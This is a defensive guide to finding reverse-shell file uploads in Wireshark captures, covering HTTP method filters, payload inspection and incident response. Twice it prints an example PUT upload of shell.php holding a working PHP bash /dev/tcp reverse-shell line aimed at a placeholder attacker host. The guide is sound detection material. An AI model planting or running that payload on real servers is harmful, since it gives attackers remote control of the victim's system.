Analyzing Captured Traffic for Reverse Shell Indicators Using Wireshark

Reverse shell attacks can be executed through various HTTP methods used for file uploads, not just POST. This guide will cover how to analyze different HTTP methods, including PUT, that can be used to upload files and potentially inject reverse shell scripts. We’ll also emphasize identifying the parts of a web application that may contain directories where such files are uploaded.

Examining HTTP Methods for File Uploads

HTTP Methods Used for File Uploads

1. POST: Commonly used for submitting data to be processed to a specified resource.
2. PUT: Replaces all current representations of the target resource with the uploaded content.
3. PATCH: Applies partial modifications to a resource.
4. OPTIONS: Used to describe the communication options for the target resource.

Filtering for Different HTTP Methods

Start Capturing Traffic:

• Launch Wireshark.
• Select the appropriate network interface.
• Click on “Start Capturing” to begin recording traffic.

Filter for Specific HTTP Methods:

• Use display filters to narrow down traffic to specific HTTP methods:
• POST: http.request.method == "POST"
• PUT: http.request.method == "PUT"
• PATCH: http.request.method == "PATCH"
• OPTIONS: http.request.method == "OPTIONS"

Identifying and Analyzing File Uploads

Identifying Uploads via POST Requests:

• Apply the filter http.request.method == "POST".
• Look for requests targeting upload endpoints, often indicated by URLs containing terms like /upload, /file, /image.
• Inspect the payload for file upload details.

Identifying Uploads via PUT Requests:

• Apply the filter http.request.method == "PUT".
• PUT requests often target specific file paths directly, such as /uploads/malicious.php.
• Check the Content-Type header to understand the nature of the uploaded file.

Identifying Uploads via PATCH Requests:

• Apply the filter http.request.method == "PATCH".
• PATCH requests are less common for file uploads but can be used to modify existing files on the server.
• Inspect the payload for partial file content and changes.

Identifying OPTIONS Requests:

• Apply the filter http.request.method == "OPTIONS".
• While OPTIONS requests do not upload files, they can provide information about allowed methods on the server.
• Use this information to understand which methods (e.g., POST, PUT, PATCH) are enabled and potentially exploitable.

Inspecting Payloads for Malicious Content

Inspecting POST Request Payloads:

• Select a POST request packet and expand the Hypertext Transfer Protocol section.
• Look for multipart/form-data sections with Content-Disposition headers indicating file uploads.
• Example:
• Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php

Inspecting PUT Request Payloads:

• Select a PUT request packet.
• Expand the Hypertext Transfer Protocol section to view the full payload.
• Example:
• PUT /uploads/shell.php HTTP/1.1 Host: example.com Content-Type: application/x-php Content-Length: 123 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'"); ?>

Inspecting PATCH Request Payloads:

• Select a PATCH request packet.
• Expand the Hypertext Transfer Protocol section and examine the payload for modifications to existing files.

Locating Web Application Directories for File Uploads

Analyzing URLs:

• Inspect the URLs in HTTP request headers to identify potential upload directories.
• Example URL paths: /uploads/, /images/, /files/.

Directory Enumeration:

• Combine URL analysis with directory enumeration techniques to map out the web application’s structure.
• Look for common upload directories and test them for accessibility and write permissions.

Cross-Reference with Server Logs:

• If accessible, cross-reference captured traffic with server logs to identify where uploaded files are stored and accessed.

Example: Detecting a Malicious PHP Script via PUT Request

Filter and Find PUT Requests:

• Apply the filter http.request.method == "PUT".

Analyze a Specific Packet:

• Select a PUT request from the filtered list.
• In the Packet Details pane, expand Hypertext Transfer Protocol.

Examine the File Upload:

• Check the Content-Type header for executable file types like application/x-php.
• Example:
• PUT /uploads/shell.php HTTP/1.1 Host: example.com Content-Type: application/x-php Content-Length: 123 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'"); ?>

Responding to Potential Reverse Shell Injections

Immediate Actions:

• Isolate the affected system from the network to prevent further exploitation.
• Conduct a thorough investigation to identify and remove any malicious files.

Forensic Analysis:

• Save captured traffic for detailed analysis.
• Export relevant packets using File > Export Specified Packets.
• Use the captured data to trace the attack vector and identify how the malicious files were uploaded.

Preventive Measures:

• Implement stricter input validation and file upload restrictions on web applications.
• Use web application firewalls (WAFs) to block suspicious activities.
• Regularly update and patch web applications and servers to close vulnerabilities.

Conclusion

Analyzing different HTTP methods used for file uploads, such as POST, PUT, and PATCH, using Wireshark provides a comprehensive approach to detecting potential reverse shell file injections. By filtering traffic, inspecting payloads, and identifying web application directories that handle file uploads, you can pinpoint and respond to security threats more effectively. Regular monitoring and robust security practices are essential to safeguarding your web applications from such vulnerabilities.